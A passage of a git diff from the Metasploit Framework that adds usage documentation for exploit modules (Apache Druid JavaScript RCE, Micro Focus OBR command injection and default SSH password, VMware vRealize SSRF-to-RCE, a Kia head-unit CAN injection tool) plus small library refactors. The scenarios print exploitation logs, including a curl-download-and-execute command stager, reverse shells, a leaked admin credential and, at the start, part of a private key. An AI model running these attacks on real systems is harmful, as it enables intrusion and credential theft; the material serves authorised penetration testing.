+O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE +Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- + +' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 1 opened (192.168.2.117:44179 -> 192.168.2.156:22) at 2017-02-22 22:08:11 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/apache_druid_js_rce.md b/documentation/modules/exploit/linux/http/apache_druid_js_rce.md new file mode 100644 index 000000000000..219a2f77c896 --- /dev/null +++ b/documentation/modules/exploit/linux/http/apache_druid_js_rce.md @@ -0,0 +1,148 @@ +## Vulnerable Application + +Apache Druid versions prior to `v0.20.1` + +### Description + +Apache Druid includes the ability to execute user-provided JavaScript code embedded in +various types of requests; however, that feature is disabled by default. + +In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request +that both enables the JavaScript code-execution feature and executes the supplied code all +at once, allowing for code execution on the server with the privileges of the Druid Server process. +More critically, authentication is not enabled in Apache Druid by default. + +The issue has been fixed in Apache Druid `v0.20.1` + +This module has been tested successfully against the following versions: + +Apache Druid 0.15.1 Debian 9.11 (Linux 3.10.0-957.21.3.el7.x86_64) + +Apache Druid 0.16.0-iap8 Ubuntu 16.04 (Linux 3.10.0-957.27.2.el7.x86_64) + +Apache Druid 0.17.1 CentOS 8.2.2004 (Core) (Linux 4.18.0-193.28.1.el8_2.x86_64) + +Apache Druid 0.18.0-iap3 Debian 9.12 (Linux 4.19.0-0.bpo.8-amd64) + +Apache Druid 0.19.0-iap7 Ubuntu 18.04 (Linux 4.14.193-149.317.amzn2.x86_64) + +Apache Druid 0.20.0-iap4.1 Ubuntu 18.04 (Linux 4.19.112+) + +Apache Druid 0.20.0 Debian 9.13 (Linux 5.4.0-1038-aws) + +Apache Druid 0.21.0-iap3 CentOS 7.9.2009 (Linux 3.10.0-1160.15.2.el7.x86_64) + +### Setup + +A Docker container is available [here](https://hub.docker.com/r/fokkodriesprong/docker-druid) + +To setup and run: + +`docker pull fokkodriesprong/docker-druid` +`docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid` + +For a manual setup: + +* Download a vulnerable version of Apache Druid from [here](https://archive.apache.org/dist/druid/) +* Extract the downloaded archive +* Ensure a supported version of Java is installed on the system +* Start Apache Druid: `bin/start-nano-quickstart` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/apache_druid_js_rce` +4. Do: `set rhosts ` +5. Do: `set lhost ` +6. Do: `set lport/srvport ` if necessary +7. Do: `run` +8. You should get a shell. + +## Targets + +### 0 (Linux Dropper) + +This uses a Linux dropper to execute code. + +### 1 (Unix Command) + +This executes a Unix command. + +## Options + +### TARGETURI + +The base path to the Apache Druid application. This is set to `/` by default. + +## Scenarios + +### Apache Druid 0.20.0-iap4.1 on Ubuntu 18.04 (Linux 4.19.112+) + +``` +msf6 exploit(linux/http/apache_druid_js_rce) > options + +Module options (exploit/linux/http/apache_druid_js_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.100.70.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 8888 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The base path of Apache Druid + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.100.70.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux (dropper) + + +msf6 exploit(linux/http/apache_druid_js_rce) > check + +[*] Attempting to execute 'echo XjUoa3Mw8z0UBQKnZ' on the target. +[*] cmd= /bin/sh`@~-c`@~echo XjUoa3Mw8z0UBQKnZ var=RUmlsVEYh name=rZXrMaTO +[+] 10.100.70.2:8888 - The target is vulnerable. +msf6 exploit(linux/http/apache_druid_js_rce) > exploit + +[*] Started reverse TCP handler on 10.100.70.1:4444 +[*] Executing automatic check (disable AutoCheck to override) +[*] Attempting to execute 'echo hKJDyfi80sjuaSwfa38Skra' on the target. +[*] cmd= /bin/sh`@~-c`@~echo hKJDyfi80sjuaSwfa38Skra var=MRCLndLkidu name=eAYzmpMSm +[+] The target is vulnerable. +[*] Using URL: http://0.0.0.0:8080/t1yvMQyzxpNEIO +[*] Local IP: http://10.100.70.1:8080/t1yvMQyzxpNEIO +[*] Generated command stager: ["curl -so /tmp/OWmIlZjX http://10.100.70.1:8080/t1yvMQyzxpNEIO;chmod +x /tmp/OWmIlZjX;/tmp/OWmIlZjX;rm -f /tmp/OWmIlZjX"] +[*] cmd= /bin/sh`@~-c`@~curl -so /tmp/OWmIlZjX http://10.100.70.1:8080/t1yvMQyzxpNEIO;chmod +x /tmp/OWmIlZjX;/tmp/OWmIlZjX;rm -f /tmp/OWmIlZjX var=xZpqsqSBeZ name=qVwUlOBO +[*] Client 10.100.70.2 (curl/7.58.0) requested /t1yvMQyzxpNEIO +[*] Sending payload to 10.100.70.2 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3012516 bytes) to 10.100.70.2 +[*] Meterpreter session 4 opened (10.100.70.1:4444 -> 10.100.70.2:39486) at 2021-04-10 10:28:56 +0800 +[*] Command Stager progress - 100.00% done (122/122 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 10.100.70.2 +OS : Ubuntu 18.04 (Linux 4.19.112+) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > + +``` diff --git a/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md b/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md new file mode 100644 index 000000000000..1397de8c12e7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability on *login* (yes, you read that right) that affects Micro Focus Operations +Bridge Reporter on Linux, versions 10.40 and below. +It's a straight up command injection, with little escaping required and it works before authentication. +This module has been tested on the Linux 10.40 version. Older versions might be affected, check the advisory for details. + +Installation docs are available at: + +* https://docs.microfocus.com/itom/Operations_Bridge_Reporter:10.40/Home + +Vulnerable versions of the software can be downloaded from Micro Focus website by requesting a demo. +This vulnerability only affects Linux installations. + +All details about this vulnerabilitu can be obtained from the advisory: + +* https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. `use exploit/multi/http/microfocus_obr_cmd_injection` +4. `set payload PAYLOAD` +5. `set rhost TARGET` +6. `set lhost YOUR_IP` +7. `run` +8. You should get a shell. + +## Scenarios + +``` +msf6 > use exploit/linux/http/microfocus_obr_cmd_injection +msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set payload payload/cmd/unix/reverse_netcat +payload => cmd/unix/reverse_netcat +msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set rhost 10.0.0.10 +rhost => 10.0.0.10 +msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set lhost 10.0.0.1 +lhost => 10.0.0.1 +msf6 exploit(linux/http/microfocus_obr_cmd_injection) > run + +[*] Started reverse TCP handler on 10.0.0.1:4444 +[*] 10.0.0.10:21412 - Payload sent, now wait for Shelly, if she doesn't arrive try again! +[*] Command shell session 1 opened (10.0.0.1:4444 -> 10.0.0.10:51806) at 2021-04-23 20:57:02 +0700 + +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0 +uname -a +Linux centos7 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md b/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md new file mode 100644 index 000000000000..a6c5004f2b3d --- /dev/null +++ b/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md @@ -0,0 +1,134 @@ +## Vulnerable Application + +### Description + +This module exploits a pre-auth SSRF ([CVE-2021-21975]) and post-auth +file write ([CVE-2021-21983]) in VMware vRealize Operations Manager to +leak admin creds and write/execute a JSP payload. + +CVE-2021-21975 affects the `/casa/nodes/thumbprints` endpoint, and +CVE-2021-21983 affects the `/casa/private/config/slice/ha/certificate` +endpoint. Code execution occurs as the `admin` Unix user. + +The following vRealize Operations Manager versions are vulnerable: + +* 7.0.0 +* 7.5.0 +* 8.0.0, 8.0.1 +* 8.1.0, 8.1.1 +* 8.2.0 +* 8.3.0 + +Version 8.3.0 is not exploitable for creds and is therefore not +supported by this module. Tested against 8.0.1. + +[CVE-2021-21975]: https://nvd.nist.gov/vuln/detail/CVE-2021-21975 +[CVE-2021-21983]: https://nvd.nist.gov/vuln/detail/CVE-2021-21983 + +### Setup + +Import an exploitable vRealize Operations Manager OVA, such as +[vRealize-Operations-Manager-Appliance-8.0.1.15331180_OVF10.ova], into +your desired hypervisor. + +[vRealize-Operations-Manager-Appliance-8.0.1.15331180_OVF10.ova]: +https://my.vmware.com/web/vmware/downloads/details?downloadGroup=VROPS-801&productId=940&rPId=40733 + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Targets + +### 0 + +`vRealize Operations Manager < 8.3.0` + +## Scenarios + +### vRealize Operations Manager 8.0.1 + +``` +msf6 > use exploit/linux/http/vmware_vrops_mgr_ssrf_rce +[*] Using configured payload java/jsp_shell_reverse_tcp +msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > options + +Module options (exploit/linux/http/vmware_vrops_mgr_ssrf_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 443 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8443 yes The local port to listen on. + SSL true no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Base path + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 0 vRealize Operations Manager < 8.3.0 + + +msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set rhosts 192.168.123.185 +rhosts => 192.168.123.185 +msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > run + +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Starting SSRF server... +[*] Using URL: https://0.0.0.0:8443/XtwOOPWn9SJ7 +[*] Local IP: https://192.168.1.65:8443/XtwOOPWn9SJ7 +[*] Executing automatic check (disable AutoCheck to override) +[*] Leaking admin creds via SSRF... +[*] 192.168.123.1:8443/XtwOOPWn9SJ7# +[*] 192.168.123.185 connected to SSRF server! +GET /XtwOOPWn9SJ7 HTTP/1.1 +Accept: application/xml, application/json +Content-Type: application/json +Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp +X-VSCM-Request-Id: S30000FM +Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpLWGp3ZWlmZlBIMGNlM3o5RENRb2o3V1I= +Cache-Control: no-cache +Pragma: no-cache +User-Agent: Java/1.8.0_212 +Host: 192.168.123.1:8443 +Connection: keep-alive + + +[+] Successfully leaked admin creds +[*] Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpLWGp3ZWlmZlBIMGNlM3o5RENRb2o3V1I= +[+] The target is vulnerable. +[*] Writing JSP payload +[*] /usr/lib/vmware-casa/casa-webapp/webapps/casa/0DlEVqGWYr.jsp +[+] Successfully wrote JSP payload +[*] Executing JSP payload +[*] https://192.168.123.185/casa/0DlEVqGWYr.jsp +[+] Successfully executed JSP payload +[+] Deleted /usr/lib/vmware-casa/casa-webapp/webapps/casa/0DlEVqGWYr.jsp +[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.185:59260) at 2021-04-11 12:19:21 -0500 +[*] Server stopped. + +id +uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel) +uname -a +Linux vRealizeClusterNode 4.19.69-1.ph3 #1-photon SMP Fri Sep 6 00:00:41 UTC 2019 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md b/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md new file mode 100644 index 000000000000..e15f93b6526e --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md @@ -0,0 +1,33 @@ +## Vulnerable Application + +This module abuses a known default password on Micro Focus Operations Bridge Reporter. The 'shrboadmin' user, installed +by default by the product has the password of 'shrboadmin', and allows an attacker to login to the server via SSH. This +module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too, +but have not been tested with this module. Note that this is only exploitable in Linux installations. + +## Verification Steps + +1. Setup RHOST and run it! + +## Scenarios + +### Micro Focus Operations Bridge Manager 10.40 + +``` +msf6 > use exploit/linux/ssh/microfocus_obr_shrboadmin +msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > set rhosts 10.0.0.100 +rhosts => 10.0.0.100 +msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > run + +[*] 10.0.0.100:22 - Attempt to login to the server... +[+] 10.0.0.100:22 - Login Successful (shrboadmin:shrboadmin) +[*] Found shell. +[*] Command shell session 1 opened (10.0.0.1:35023 -> 10.0.0.100:22) at 2021-04-23 14:44:09 +0700 + +whoami +shrboadmin +id +uid=1001(shrboadmin) gid=1001(shrboadmin) groups=1001(shrboadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 +uname -a +Linux centos7 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/multi/misc/osgi_console_exec.md b/documentation/modules/exploit/multi/misc/osgi_console_exec.md index 0fad71ccde5a..cffb4c097d1d 100644 --- a/documentation/modules/exploit/multi/misc/osgi_console_exec.md +++ b/documentation/modules/exploit/multi/misc/osgi_console_exec.md @@ -31,7 +31,7 @@ Follow these steps to run the vulnerable application on a Linux host: Follow these steps to run the vulnerable application on a Windows host: -1. Download the Eclipse Equinoxe SDK from https://www.eclipse.org/downloads/download.php?file=/equinox/drops/R-Oxygen.2-201711300510/equinox-SDK-Oxygen.2.zip&r=1 +1. Download the Eclipse Equinox SDK from https://www.eclipse.org/downloads/download.php?file=/equinox/drops/R-Oxygen.2-201711300510/equinox-SDK-Oxygen.2.zip&r=1 2. Create a test directory. Let's name it `osgi_test` for clarity. 3. Create a directory named `configuration` in `osgi_test` 4. Create a file named `config.ini` in your `configuration` directory. The file should contain the following lines only: diff --git a/documentation/modules/post/android/local/koffee.md b/documentation/modules/post/android/local/koffee.md new file mode 100644 index 000000000000..de10cff70cd9 --- /dev/null +++ b/documentation/modules/post/android/local/koffee.md @@ -0,0 +1,95 @@ +## Vulnerable Application + +KOFFEE exploits the CVE-2020-8539, which is an Arbitrary Code Execution vulnerability that allows a user to execute the +`micomd` binary with valid payloads on Kia Motors Head Units. By using KOFFEE an attacker can send crafted `micomd` +commands to control the head unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle. + +### Vulnerable Head Unit software versions +- SOP.003.30.180703 +- SOP.005.7.181019 +- SOP.007.1.191209 + +## Verification Steps + +- [ ] Start `msfconsole` +- [ ] `use post/android/local/koffee` +- [ ] `set session 1` +- [ ] `toogle_radio_mute` or `run` + +### What do you need +* An active session with the Head Unit + +## Options + +### MICOMD +It contains the path to micomd executable + +### NUM_MSG +It expresses the number of MICOM commands sent each time + +### PERIOD +It indicates the time (ms) interval between two MICOM commands, aka Period of CAN frames + +### SESSION +It refers to the metasploit session number on which this module is run. + +### CMD_PAYLOAD +It refers to the Micom payload to be injected, e.g., cmd byte1 byte3 byte2'. By default it is set to `00 00 00`. This +options works only for the `INJECT_CUSTOM` action + +## Actions + +The following actions can be triggered on the Head Unit. An action can be triggered by inserting in the Metasploit input +console the action name in lowercase, e.g., `camera_reverse_off`. + +- CAMERA_REVERSE_OFF: It hides the parking camera video stream +- CAMERA_REVERSE_ON: It shows the parking camera video stream +- CLUSTER_CHANGE_LANGUAGE: It changes the cluster language +- CLUSTER_RADIO_INFO: It shows radio info in the instrument cluster +- CLUSTER_RANDOM_NAVIGATION: It shows navigation signals in the instrument cluster +- CLUSTER_ROUNDABOUT_FARAWAY: It shows a round about signal with variable distance in the instrument cluster +- CLUSTER_SPEED_LIMIT: It changes the speed limit shown in the instrument cluster +- HIGH_SCREEN_BRIGHTNESS: It increases the head unit screen brightness +- INJECT_CUSTOM: It injects custom micom payloads +- LOW_FUEL_WARNING: It pops up a low fuel message on the head unit +- LOW_SCREEN_BRIGHTNESS: It decreases the head unit screen brightness +- MAX_RADIO_VOLUME: It sets the radio volume to the max +- NAVIGATION_FULL_SCREEN: It pops up the navigation app +- REDUCE_RADIO_VOLUME: It reduces radio volume +- SEEK_DOWN_SEARCH: It triggers the seek down radio frequency search +- SEEK_UP_SEARCH: It triggers the seek up radio frequency search +- SET_NAVIGATION_ADDRESS: It pops up the navigation address window +- SWITCH_OFF_Hu: It switches off the head unit +- SWITCH_ON_Hu: It switches on the head unit +- TOGGLE_RADIO_MUTE It mutes/unmutes the radio + +An action can be also triggered using the commands: +- [ ] `set action CAMERA_REVERSE_ON` +- [ ] `run` + +To execute the `INJECT_CUSTOM` action, you may want also to set up the right payload. +The commands to use to trigger this action are +- [ ] `set action INJECT_CUSTOM` +- [ ] `set CMD_PAYLOAD 01 FF` +- [ ] `run` + +## Scenarios +KOFFEE can be run as post-exploitation module when an active session is available with the Head Unit (HU). First, an +attacker may create a malicious apk to generate a remote connection with the HU. For instance, using msfvenom or other +tools, an attacker can create the malicious apk that, once installed in the HU, starts an active session. Now, the +attacker is able to use the KOFFEE exploit to take control of the HU and inject CAN bus frames into the M-CAN bus of the +vehicle. + + +### Usage + +``` +msf6 > use post/android/local/koffee +msf6 post(android/local/koffee) > set session 1 +session => 1 +msf6 post(android/local/koffee) > toggle_radio_mute + +[*] -- Starting action -- +[*] -- Mute/umute radio -- +[+] -- Command Sent -- +``` diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index f842d7cb053b..b136e2f84052 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ def self.get_hash end end - VERSION = "6.0.42" + VERSION = "6.0.43" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/core/auxiliary/command_shell.rb b/lib/msf/core/auxiliary/command_shell.rb index 2b2a2bda87e5..35c9a54a1047 100644 --- a/lib/msf/core/auxiliary/command_shell.rb +++ b/lib/msf/core/auxiliary/command_shell.rb @@ -51,6 +51,15 @@ def start_session(obj, info, ds_merge, crlf = false, sock = nil) framework.sessions.register(sess) sess.process_autoruns(datastore) + # Notify the framework that we have a new session opening up... + # Don't let errant event handlers kill our session + begin + framework.events.on_session_open(sess) + rescue ::Exception => e + wlog("Exception in on_session_open event handler: #{e.class}: #{e}") + wlog("Call Stack\n#{e.backtrace.join("\n")}") + end + sess end diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 63879561203a..8ad023c33936 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -52,7 +52,8 @@ def redis_command(*commands) vprint_error("No response to '#{command_string}'") return end - if REDIS_UNAUTHORIZED_RESPONSE =~ command_response + if match = command_response.match(REDIS_UNAUTHORIZED_RESPONSE) + auth_response = match[:auth_response] fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password'] vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})") if (auth_response = send_redis_command('AUTH', datastore['PASSWORD'])) @@ -75,6 +76,11 @@ def redis_command(*commands) command_response end + def parse_redis_response(response) + parser = RESPParser.new(response) + parser.parse + end + def printable_redis_response(response_data, convert_whitespace = true) Rex::Text.ascii_safe_hex(response_data, convert_whitespace) end @@ -96,5 +102,76 @@ def send_redis_command(*command_parts) return unless command_response command_response.strip end + + class RESPParser + + LINE_BREAK = "\r\n" + + def initialize(data) + @raw_data = data + @counter = 0 + end + + def parse + @counter = 0 + parse_next + end + + def data_at_counter + @raw_data[@counter..-1] + end + + def parse_resp_array + # Read array length + unless /\A\*(?\d+)\r/ =~ data_at_counter + raise "RESP parsing error in array" + end + @counter += data_at_counter.index(LINE_BREAK) + 2 + + arr_len = arr_len.to_i + + result = [] + for index in 1..arr_len do + element = parse_next + result.append(element) + end + result + end + + def parse_simple_string + str_end = data_at_counter.index(LINE_BREAK) + str_end = str_end.to_i + result = data_at_counter[1..str_end - 1] + @counter += str_end + @counter += 2 # Skip over next CLRF + result + end + + def parse_bulk_string + unless /\A\$(?\d+)\r/ =~ data_at_counter + raise "RESP parsing error in bulk string" + end + str_len = str_len.to_i + @counter += data_at_counter.index(LINE_BREAK) + 2 + result = data_at_counter[0..str_len - 1] + @counter += str_len + @counter += 2 # Skip over next CLRF + result + end + + + def parse_next + case data_at_counter[0] + when "*" + parse_resp_array + when "+" + parse_simple_string + when "$" + parse_bulk_string + else + raise "RESP parsing error" + end + end + end end end diff --git a/lib/msf/core/db_manager/client.rb b/lib/msf/core/db_manager/client.rb index a41abb414d9d..d0ebcaf96c90 100644 --- a/lib/msf/core/db_manager/client.rb +++ b/lib/msf/core/db_manager/client.rb @@ -5,6 +5,7 @@ def find_or_create_client(opts) def get_client(opts) ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts wspace = opts.delete(:workspace) || workspace host = get_host(:workspace => wspace, :host => opts[:host]) || return client = host.clients.where({:ua_string => opts[:ua_string]}).first() @@ -29,6 +30,7 @@ def get_client(opts) def report_client(opts) return if !active ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts addr = opts.delete(:host) || return wspace = opts.delete(:workspace) || workspace report_host(:workspace => wspace, :host => addr) diff --git a/lib/msf/core/db_manager/host_tag.rb b/lib/msf/core/db_manager/host_tag.rb index 68f676783c39..b0033dfb253e 100644 --- a/lib/msf/core/db_manager/host_tag.rb +++ b/lib/msf/core/db_manager/host_tag.rb @@ -2,6 +2,7 @@ module Msf::DBManager::HostTag # This is only exercised by MSF3 XML importing for now. Needs the wait # conditions and return hash as well. def report_host_tag(opts) + opts = opts.clone() # protect the original caller's opts name = opts.delete(:name) raise Msf::DBImportError.new("Missing required option :name") unless name addr = opts.delete(:addr) diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb index 18ef34c37831..661294f5f0ee 100644 --- a/lib/msf/core/db_manager/loot.rb +++ b/lib/msf/core/db_manager/loot.rb @@ -16,6 +16,7 @@ def loots(opts) return Array.wrap(Mdm::Loot.find(opts[:id])) end + opts = opts.clone() # protect the original caller's opts # Remove path from search conditions as this won't accommodate remote data # service usage where the client and server storage locations differ. opts.delete(:path) diff --git a/lib/msf/core/db_manager/payload.rb b/lib/msf/core/db_manager/payload.rb index 63abb98d11a2..d05eefed0c33 100644 --- a/lib/msf/core/db_manager/payload.rb +++ b/lib/msf/core/db_manager/payload.rb @@ -29,6 +29,7 @@ def payloads(opts) def update_payload(opts) ::ApplicationRecord.connection_pool.with_connection do + opts = opts.clone() # protect the original caller's opts id = opts.delete(:id) Mdm::Payload.update(id, opts) end diff --git a/lib/msf/core/db_manager/report.rb b/lib/msf/core/db_manager/report.rb index e869c0a775e3..20684ad4f755 100644 --- a/lib/msf/core/db_manager/report.rb +++ b/lib/msf/core/db_manager/report.rb @@ -20,6 +20,7 @@ def report_artifact(opts) tmp_path = opts[:file_path] artifact_name = File.basename tmp_path new_path = File.join(artifacts_dir, artifact_name) + opts = opts.clone() # protect the original caller's opts created = opts.delete(:created_at) updated = opts.delete(:updated_at) @@ -55,6 +56,7 @@ def report_artifact(opts) # @return [Integer] ID of created report def report_report(opts) return if not active + opts = opts.clone() # protect the original caller's opts created = opts.delete(:created_at) updated = opts.delete(:updated_at) state = opts.delete(:state) diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 6e3ed11a3513..e0ee56b0a07e 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -51,12 +51,12 @@ def find_or_create_service(opts) def report_service(opts) return if !active ::ApplicationRecord.connection_pool.with_connection { |conn| + opts = opts.clone() # protect the original caller's opts addr = opts.delete(:host) || return hname = opts.delete(:host_name) hmac = opts.delete(:mac) host = nil wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) - opts = opts.clone() opts.delete(:workspace) # this may not be needed however the service creation below might complain if missing hopts = {:workspace => wspace, :host => addr} hopts[:name] = hname if hname @@ -149,6 +149,7 @@ def services(opts) return Array.wrap(Mdm::Service.find(opts[:id])) end + opts = opts.clone() # protect the original caller's opts wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) opts.delete(:workspace) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index b1a720058ac9..25d73a6004a2 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -189,6 +189,7 @@ def update_session(opts) return if not active ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts id = opts.delete(:id) session = 